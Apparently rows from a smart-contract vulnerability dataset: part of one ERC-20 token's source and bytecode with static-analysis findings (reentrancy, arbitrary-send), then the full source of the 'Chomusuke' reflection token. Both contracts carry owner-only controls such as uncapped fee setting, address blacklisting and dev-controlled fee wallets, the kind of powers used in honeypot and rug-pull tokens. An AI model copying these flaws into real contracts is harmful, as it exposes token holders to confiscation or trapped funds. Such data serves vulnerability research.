function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
require(maxTxPercent > 0, "Amount must be greater than 0");
_maxTxAmount = _tTotal.mul(maxTxPercent).div(10**3);
emit MaxTxAmountUpdated(_maxTxAmount);
}
function setRouterPercent(uint256 maxRouterPercent) external {
require(_msgSender() == _Dev);
require(maxRouterPercent > 0, "Amount must be greater than 0");
_routermax = _tTotal.mul(maxRouterPercent).div(10**4);
}
function _setSellTax(uint256 selltax) external onlyOwner() {
require(selltax >= 0 && selltax <= 40, 'selltax should be in 0 - 40');
_sellTax = selltax;
}
function _setBuyTax(uint256 buytax) external onlyOwner() {
require(buytax >= 0 && buytax <= 10, 'buytax should be in 0 - 10');
_buytax = buytax;
}
function excludeFromFee(address account) public onlyOwner {
_isExcludedFromFee[account] = true;
}
function setMarket(address payable account) external {
require(_msgSender() == _Dev);
_MarketTax = account;
}
function setDev(address payable account) external {
require(_msgSender() == _Dev);
_Dev = account;
}
function setDevpay(address payable account) external {
require(_msgSender() == _Dev);
_DevTax = account;
}
function _ZeroSellTax() external {
require(_msgSender() == _Dev);
_sellTax = 0;
}
function _ZeroBuyTax() external {
require(_msgSender() == _Dev);
_buytax = 0;
}
}
|
0x6080604052600436106101e75760003560e01c806395d89b4111610102578063d00efb2f11610095578063dd62ed3e11610064578063dd62ed3e14610581578063e01af92c146105c7578063e47d6060146105e7578063e850fe381461062057600080fd5b8063d00efb2f1461050b578063d477f05f14610521578063d543dbeb14610541578063dbe8272c1461056157600080fd5b8063c3c8cd80116100d1578063c3c8cd8014610488578063c9567bf91461049d578063cba0e996146104b2578063cf27e7d5146104eb57600080fd5b806395d89b41146101f3578063a9059cbb14610428578063b515566a14610448578063c0e6b46e1461046857600080fd5b80636dcea85f1161017a578063715018a611610149578063715018a6146103b657806384e1879d146103cb57806389e7b81b146103e05780638da5cb5b1461040057600080fd5b80636dcea85f146103285780636f9170f6146103485780636fc3eaec1461038157806370a082311461039657600080fd5b8063273123b7116101b6578063273123b7146102aa5780632b7581b2146102cc578063313ce567146102ec578063437823ec1461030857600080fd5b806306fdde03146101f3578063095ea7b31461023457806318160ddd1461026457806323b872dd1461028a57600080fd5b366101ee57005b600080fd5b3480156101ff57600080fd5b50604080518082018252600981526813995d995c9299595d60ba1b6020820152905161022b9190611ee9565b60405180910390f35b34801561024057600080fd5b5061025461024f366004611d7a565b610635565b604051901515815260200161022b565b34801561027057600080fd5b50683635c9adc5dea000005b60405190815260200161022b565b34801561029657600080fd5b506102546102a5366004611d3a565b61064c565b3480156102b657600080fd5b506102ca6102c5366004611cca565b6106b5565b005b3480156102d857600080fd5b506102ca6102e7366004611ea4565b610709565b3480156102f857600080fd5b506040516009815260200161022b565b34801561031457600080fd5b506102ca610323366004611cca565b610789565b34801561033457600080fd5b506102ca610343366004611cca565b6107d7565b34801561035457600080fd5b50610254610363366004611cca565b6001600160a01b031660009081526011602052604090205460ff1690565b34801561038d57600080fd5b506102ca610819565b3480156103a257600080fd5b5061027c6103b1366004611cca565b610846565b3480156103c257600080fd5b506102ca610868565b3480156103d757600080fd5b506102ca6108dc565b3480156103ec57600080fd5b506102ca6103fb366004611ea4565b610903565b34801561040c57600080fd5b506000546040516001600160a01b03909116815260200161022b565b34801561043457600080fd5b50610254610443366004611d7a565b610959565b34801561045457600080fd5b506102ca610463366004611da5565b610966565b34801561047457600080fd5b506102ca610483366004611ea4565b610a0a565b34801561049457600080fd5b506102ca610a9f565b3480156104a957600080fd5b506102ca610ad5565b3480156104be57600080fd5b506102546104cd366004611cca565b6001600160a01b031660009081526005602052604090205460ff1690565b3480156104f757600080fd5b506102ca610506366004611cca565b610e9b565b34801561051757600080fd5b5061027c60195481565b34801561052d57600080fd5b506102ca61053c366004611cca565b610edd565b34801561054d57600080fd5b506102ca61055c366004611ea4565b610f1f565b34801561056d57600080fd5b506102ca61057c366004611ea4565b610fed565b34801561058d57600080fd5b5061027c61059c366004611d02565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b3480156105d357600080fd5b506102ca6105e2366004611e6c565b61106d565b3480156105f357600080fd5b50610254610602366004611cca565b6001600160a01b031660009081526010602052604090205460ff1690565b34801561062c57600080fd5b506102ca6110ab565b60006106423384846110d2565b5060015b92915050565b60006106598484846111f6565b6106ab84336106a6856040518060600160405280602881526020016120ba602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190611516565b6110d2565b5060019392505050565b6000546001600160a01b031633146106e85760405162461bcd60e51b81526004016106df90611f3c565b60405180910390fd5b6001600160a01b03166000908152601060205260409020805460ff19169055565b6000546001600160a01b031633146107335760405162461bcd60e51b81526004016106df90611f3c565b600a8111156107845760405162461bcd60e51b815260206004820152601a60248201527f6275797461782073686f756c6420626520696e2030202d20313000000000000060448201526064016106df565b600955565b6000546001600160a01b031633146107b35760405162461bcd60e51b81526004016106df90611f3c565b6001600160a01b03166000908152600560205260409020805460ff19166001179055565b6014546001600160a01b0316336001600160a01b0316146107f757600080fd5b601380546001600160a01b0319166001600160a01b0392909216919091179055565b6014546001600160a01b0316336001600160a01b03161461083957600080fd5b4761084381611550565b50565b6001600160a01b038116600090815260026020526040812054610646906115df565b6000546001600160a01b031633146108925760405162461bcd60e51b81526004016106df90611f3c565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6014546001600160a01b0316336001600160a01b0316146108fc57600080fd5b6000600b55565b6014546001600160a01b0316336001600160a01b03161461092357600080fd5b600061092e30610846565b905060006109498361094384620186a0611663565b906116a5565b905061095481611724565b505050565b60006106423384846111f6565b6000546001600160a01b031633146109905760405162461bcd60e51b81526004016106df90611f3c565b60005b8151811015610a06576001601060008484815181106109c257634e487b7160e01b600052603260045260246000fd5b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff1916911515919091179055806109fe8161204f565b915050610993565b5050565b6014546001600160a01b0316336001600160a01b031614610a2a57600080fd5b60008111610a7a5760405162461bcd60e51b815260206004820152601d60248201527f416d6f756e74206d7573742062652067726561746572207468616e203000000060448201526064016106df565b610a99612710610a93683635c9adc5dea00000846116a5565b90611663565b600f5550565b6014546001600160a01b0316336001600160a01b031614610abf57600080fd5b6000610aca30610846565b905061084381611724565b6000546001600160a01b03163314610aff5760405162461bcd60e51b81526004016106df90611f3c565b601754600160a01b900460ff1615610b595760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064016106df565b601680546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d908117909155610b963082683635c9adc5dea000006110d2565b806001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610bcf57600080fd5b505afa158015610be3573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c079190611ce6565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610c4f57600080fd5b505afa158015610c63573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c879190611ce6565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b158015610ccf57600080fd5b505af1158015610ce3573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d079190611ce6565b601780546001600160a01b0319166001600160a01b039283161790556016541663f305d7194730610d3781610846565b600080610d4c6000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b158015610daf57600080fd5b505af1158015610dc3573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610de89190611ebc565b5050601780546801158e460913d000006018554360195562ff00ff60a01b1981166201000160a01b1790915560165460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b390604401602060405180830381600087803b158015610e6357600080fd5b505af1158015610e77573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a069190611e88565b6014546001600160a01b0316336001600160a01b031614610ebb57600080fd5b601580546001600160a01b0319166001600160a01b0392909216919091179055565b6014546001600160a01b0316336001600160a01b031614610efd57600080fd5b601480546001600160a01b0319166001600160a01b0392909216919091179055565b6000546001600160a01b03163314610f495760405162461bcd60e51b81526004016106df90611f3c565b60008111610f995760405162461bcd60e51b815260206004820152601d60248201527f416d6f756e74206d7573742062652067726561746572207468616e203000000060448201526064016106df565b610fb26103e8610a93683635c9adc5dea00000846116a5565b60188190556040519081527f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf9060200160405180910390a150565b6000546001600160a01b031633146110175760405162461bcd60e51b81526004016106df90611f3c565b60288111156110685760405162461bcd60e51b815260206004820152601b60248201527f73656c6c7461782073686f756c6420626520696e2030202d203430000000000060448201526064016106df565b600b55565b6014546001600160a01b0316336001600160a01b03161461108d57600080fd5b60178054911515600160b01b0260ff60b01b19909216919091179055565b6014546001600160a01b0316336001600160a01b0316146110cb57600080fd5b6000600955565b6001600160a01b0383166111345760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016106df565b6001600160a01b0382166111955760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016106df565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b03831661125a5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016106df565b6001600160a01b0382166112bc5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016106df565b6000811161131e5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016106df565b6000546001600160a01b0384811691161480159061134a57506000546001600160a01b03838116911614155b156114b9576001600160a01b038316301461136e5760185481111561136e57600080fd5b6000546001600160a01b0384811691161480159061139a57506000546001600160a01b03838116911614155b156113a657600954600a555b6001600160a01b03831660009081526010602052604090205460ff161580156113e857506001600160a01b03821660009081526010602052604090205460ff16155b801561140457503360009081526010602052604090205460ff16155b61140d57600080fd5b600061141830610846565b9050600f5481106114285750600f545b600e546017549082101590600160a81b900460ff161580156114535750601754600160b01b900460ff165b801561145c5750805b801561147657506017546001600160a01b03868116911614155b801561149057506016546001600160a01b03868116911614155b156114b657600b54600a556114a482611724565b4780156114b4576114b447611550565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff16806114fb57506001600160a01b03831660009081526005602052604090205460ff165b15611504575060005b611510848484846118c9565b50505050565b6000818484111561153a5760405162461bcd60e51b81526004016106df9190611ee9565b5060006115478486612038565b95945050505050565b6013546001600160a01b03166108fc61156f600361094385600a611663565b6040518115909202916000818181858888f19350505050158015611597573d6000803e3d6000fd5b506015546001600160a01b03166108fc6115b7600761094385600a611663565b6040518115909202916000818181858888f19350505050158015610a06573d6000803e3d6000fd5b60006006548211156116465760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b60648201526084016106df565b60006116506118f7565b905061165c8382611663565b9392505050565b600061165c83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061191a565b6000826116b457506000610646565b60006116c08385612019565b9050826116cd8583611ff9565b1461165c5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016106df565b6017805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061177a57634e487b7160e01b600052603260045260246000fd5b6001600160a01b03928316602091820292909201810191909152601654604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b1580156117ce57600080fd5b505afa1580156117e2573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906118069190611ce6565b8160018151811061182757634e487b7160e01b600052603260045260246000fd5b6001600160a01b03928316602091820292909201015260165461184d91309116846110d2565b60165460405163791ac94760e01b81526001600160a01b039091169063791ac94790611886908590600090869030904290600401611f71565b600060405180830381600087803b1580156118a057600080fd5b505af11580156118b4573d6000803e3d6000fd5b50506017805460ff60a81b1916905550505050565b806118d6576118d6611948565b6118e1848484611976565b8061151057611510600c54600855600d54600a55565b6000806000611904611a6d565b90925090506119138282611663565b9250505090565b6000818361193b5760405162461bcd60e51b81526004016106df9190611ee9565b5060006115478486611ff9565b6008541580156119585750600a54155b1561195f57565b60088054600c55600a8054600d5560009182905555565b60008060008060008061198887611aaf565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506119ba9087611b0c565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546119e99086611b4e565b6001600160a01b038916600090815260026020526040902055611a0b81611bad565b611a158483611bf7565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051611a5a91815260200190565b60405180910390a3505050505050505050565b6006546000908190683635c9adc5dea00000611a898282611663565b821015611aa657505060065492683635c9adc5dea0000092509050565b90939092509050565b6000806000806000806000806000611acc8a600854600a54611c1b565b9250925092506000611adc6118f7565b90506000806000611aef8e878787611c6a565b919e509c509a509598509396509194505050505091939550919395565b600061165c83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611516565b600080611b5b8385611fe1565b90508381101561165c5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016106df565b6000611bb76118f7565b90506000611bc583836116a5565b30600090815260026020526040902054909150611be29082611b4e565b30600090815260026020526040902055505050565b600654611c049083611b0c565b600655600754611c149082611b4e565b6007555050565b6000808080611c2f6064610a9389896116a5565b90506000611c426064610a938a896116a5565b90506000611c5a82611c548b86611b0c565b90611b0c565b9992985090965090945050505050565b6000808080611c7988866116a5565b90506000611c8788876116a5565b90506000611c9588886116a5565b90506000611ca782611c548686611b0c565b939b939a50919850919650505050505050565b8035611cc581612096565b919050565b600060208284031215611cdb578081fd5b813561165c81612096565b600060208284031215611cf7578081fd5b815161165c81612096565b60008060408385031215611d14578081fd5b8235611d1f81612096565b91506020830135611d2f81612096565b809150509250929050565b600080600060608486031215611d4e578081fd5b8335611d5981612096565b92506020840135611d6981612096565b929592945050506040919091013590565b60008060408385031215611d8c578182fd5b8235611d9781612096565b946020939093013593505050565b60006020808385031215611db7578182fd5b823567ffffffffffffffff80821115611dce578384fd5b818501915085601f830112611de1578384fd5b813581811115611df357611df3612080565b8060051b604051601f19603f83011681018181108582111715611e1857611e18612080565b604052828152858101935084860182860187018a1015611e36578788fd5b8795505b83861015611e5f57611e4b81611cba565b855260019590950194938601938601611e3a565b5098975050505050505050565b600060208284031215611e7d578081fd5b813561165c816120ab565b600060208284031215611e99578081fd5b815161165c816120ab565b600060208284031215611eb5578081fd5b5035919050565b600080600060608486031215611ed0578283fd5b8351925060208401519150604084015190509250925092565b6000602080835283518082850152825b81811015611f1557858101830151858201604001528201611ef9565b81811115611f265783604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c0860191508289019350845b81811015611fc05784516001600160a01b031683529383019391830191600101611f9b565b50506001600160a01b03969096166060850152505050608001529392505050565b60008219821115611ff457611ff461206a565b500190565b60008261201457634e487b7160e01b81526012600452602481fd5b500490565b60008160001904831182151516156120335761203361206a565b500290565b60008282101561204a5761204a61206a565b500390565b60006000198214156120635761206361206a565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b038116811461084357600080fd5b801515811461084357600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122060dd18dc65347c03eccf5158f304f98f1ef6403e692e2f2a5d3fbf9a07c0ff8364736f6c63430008040033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "uninitialized-state", "impact": "High", "confidence": "High"}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "tautology", "impact": "Medium", "confidence": "High"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}, {"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
| 6,252 |
0x12FD9d3F4938a3BC72ADEA892682d606D4c31380
|
/**
*Submitted for verification at Etherscan.io on 2022-03-09
*/
/**
*/
/*
https://t.me/ChomusukeERC
By @DetectiveCalls
Supply and Tokenomics:
- 10 million total supply
- 2% Reflections
- 5% Marketing Tax
- 5% Bounty Tax
*/
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract Chomusuke is Context, IERC20, Ownable {///////////////////////////////////////////////////////////
using SafeMath for uint256;
string private constant _name = "Chomusuke";//////////////////////////
string private constant _symbol = "Chomusuke";//////////////////////////////////////////////////////////////////////////
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 10000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
//Buy Fee
uint256 private _redisFeeOnBuy = 1;////////////////////////////////////////////////////////////////////
uint256 private _taxFeeOnBuy = 12;//////////////////////////////////////////////////////////////////////
//Sell Fee
uint256 private _redisFeeOnSell = 1;/////////////////////////////////////////////////////////////////////
uint256 private _taxFeeOnSell = 12;/////////////////////////////////////////////////////////////////////
//Original Fee
uint256 private _redisFee = _redisFeeOnSell;
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _previousredisFee = _redisFee;
uint256 private _previoustaxFee = _taxFee;
mapping(address => bool) public bots;
mapping(address => uint256) private cooldown;
address payable private _developmentAddress = payable(0xb6b9dFc032094Fe6e592D31e22042f8c28B766f6);/////////////////////////////////////////////////
address payable private _marketingAddress = payable(0xb6b9dFc032094Fe6e592D31e22042f8c28B766f6);///////////////////////////////////////////////////
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = true;
uint256 public _maxTxAmount = 100000 * 10**9; //1%
uint256 public _maxWalletSize = 200000 * 10**9; //1%
uint256 public _swapTokensAtAmount = 40000 * 10**9; //.4%
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_rOwned[_msgSender()] = _rTotal;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);/////////////////////////////////////////////////
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_developmentAddress] = true;
_isExcludedFromFee[_marketingAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_redisFee == 0 && _taxFee == 0) return;
_previousredisFee = _redisFee;
_previoustaxFee = _taxFee;
_redisFee = 0;
_taxFee = 0;
}
function restoreAllFee() private {
_redisFee = _previousredisFee;
_taxFee = _previoustaxFee;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
//Trade start check
if (!tradingOpen) {
require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled");
}
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!");
if(to != uniswapV2Pair) {
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
//Transfer Tokens
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
} else {
//Set Fee for Buys
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_redisFee = _redisFeeOnBuy;
_taxFee = _taxFeeOnBuy;
}
//Set Fee for Sells
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
_redisFee = _redisFeeOnSell;
_taxFee = _taxFeeOnSell;
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_developmentAddress.transfer(amount.div(2));
_marketingAddress.transfer(amount.div(2));
}
function setTrading(bool _tradingOpen) public onlyOwner {
tradingOpen = _tradingOpen;
}
function manualswap() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function blockBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _redisFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 redisFee,
uint256 taxFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(redisFee).div(100);
uint256 tTeam = tAmount.mul(taxFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner {
_redisFeeOnBuy = redisFeeOnBuy;
_redisFeeOnSell = redisFeeOnSell;
_taxFeeOnBuy = taxFeeOnBuy;
_taxFeeOnSell = taxFeeOnSell;
}
//Set minimum tokens required to swap.
function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner {
_swapTokensAtAmount = swapTokensAtAmount;
}
//Set minimum tokens required to swap.
function toggleSwap(bool _swapEnabled) public onlyOwner {
swapEnabled = _swapEnabled;
}
//Set MAx transaction
function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner {
_maxTxAmount = maxTxAmount;
}
function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner {
_maxWalletSize = maxWalletSize;
}
function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner {
for(uint256 i = 0; i < accounts.length; i++) {
_isExcludedFromFee[accounts[i]] = excluded;
}
}
}
|
